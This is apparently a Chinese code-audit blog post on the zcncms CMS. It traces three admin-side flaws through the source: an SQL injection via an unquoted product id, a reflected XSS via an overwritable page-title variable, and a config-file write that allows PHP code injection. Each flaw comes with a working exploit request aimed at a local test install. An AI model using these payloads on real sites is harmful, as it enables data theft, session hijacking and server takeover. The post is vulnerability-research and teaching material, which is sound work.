接上一篇 代码审计——zcncms后台SQL注入(一), 继续挖掘出zcncms的几处漏洞.
0x00 后台SQL注入
继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28switch($a)
{
case 'list':default://list
//列表
if (empty($productid)) {
$where = ' 1 = 1 ';
} else {
$where = " productid = '".$productid."' ";
}
$pageListNum=12;//每页显示
$totalPage=0;//总页数
----------------------------------------------------------------------
case 'edit'://
if(isset($submit)){
$info = array();
$time = time();
if(isset($id)){
$id = intval($id);
if($id <= 0){
errorinfo('变量错误','');
}
$infoold = $products_photo->GetInfo('',' id = '.$id);
}
$productinfo = $products->GetInfo('',' id = '.$productid);
//20120719
checkClassPower('products',$productinfo['classid']);
当 $a的值为’list’时,$where = " productid = '".$productid."' "
, $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo('',' id = '.$productid)
,$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:1
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&a=edit&id=7
POST:
submit=&productid=12=@`\\\'` and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`
0x01 反射型xss
在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.1
2
3
4
5
6
7
8
9
10header("location:./");
exit;
} else {
//echo 1;
$loginerror = '用户名密码错误,请重新登陆.';
$templatefile = 'login.tpl.php';
}
} else {
$templatefile = 'login.tpl.php';
}
跟踪到/admin/templates/default/login.tpl.php1
2
3
4
5
6<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
<?php if(!empty($topTitle)) echo $topTitle.'-';?>
<?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title>
<meta name="keywords" content="<?php echo $sys['webkeywords']; ?>">
<meta name="description" content="<?php echo $sys['webdescription']; ?>">
在<title>
标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。
1 | http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script> |
0x02 后台getshell
在文件/include/admincontroller/sys.php中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27$pagetitle = '基本信息';
$pagepower = 'sys';
//基本部分
require('checkpower.inc.php');
//功能部分
include_once(WEB_INC.'file.class.php');
include_once(WEB_INC.'string.class.php');
if(isset($submit)){
$FS = new files();
$STR = new C_STRING();
$info = array(
'isclose' => $isclose,
'closeinfo' => $closeinfo,
'webtitle' => $webtitle,
'indextitle' => $indextitle,
'webkeywords' => $webkeywords,
'webdescription' => $webdescription,
'webcopyright' => $webcopyright,
'webbeian' => $webbeian,
'systemplates' => $systemplates,
'linkurlmode' => $linkurlmode,
);
$rs_msg = $STR->safe($info);
if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
errorInfo('编辑成功');
} else {
errorInfo();
可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);
但是$info经过了safe函数,我们跟踪safe函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27function safe($msg)
{
if(!$msg && $msg != '0')
{
return false;
}
if(is_array($msg))
{
foreach($msg AS $key=>$value)
{
$msg[$key] = $this->safe($value);
}
}
else
{
$msg = trim($msg);
//$old = array("&"," ","'",'"',"\t","\r");
//$new = array("&"," ","'","""," ","");
$old = array("&"," ","'",'"',"\t");
$new = array("&"," ","'","""," ");
$msg = str_replace($old,$new,$msg);
$msg = str_replace(" "," ",$msg);
$old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
$new = array("","","","","","");
$msg = preg_replace($old,$new,$msg);
}
return $msg;
safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php1
2
3
4
5
6
7
8
9
10
11
12
13<?php
$sys["isclose"] = '0';
$sys["closeinfo"] = 'comming soon';
$sys["webtitle"] = 'ZCNCMS';
$sys["indextitle"] = 'ZCNCMS专注内容';
$sys["webkeywords"] = 'ZCNCMS专注内容';
$sys["webdescription"] = 'ZCNCMS专注内容';
$sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS';
$sys["webbeian"] = 'ZCNCMS专注内容';
$sys["systemplates"] = 'default';
$sys["linkurlmode"] = '0';
?>
我们继续跟踪sys.php中的写函数,file_Write()->_write()
1
2
3
4
5
6
7
8
9
10
11
12
13
14//写入信息
function _write($content,$file,$type="wb")
{
global $system_time;
$content = stripslashes($content);
$handle = $this->_open($file,$type);
@fwrite($handle,$content);
unset($content);
$this->close($handle);
//设置文件创建的时间
$system_time = $system_time ? $system_time : time();
@touch($file,$system_time);
return true;
}
发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
我们呢可以这样构造1
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys
POST:
isclose=0&closeinfo=1\&webtitle=;phpinfo();//&indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&linkurlmode=0&systemplates=default&submit=%E7%BC%96%E8%BE%91
将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下
成功getshell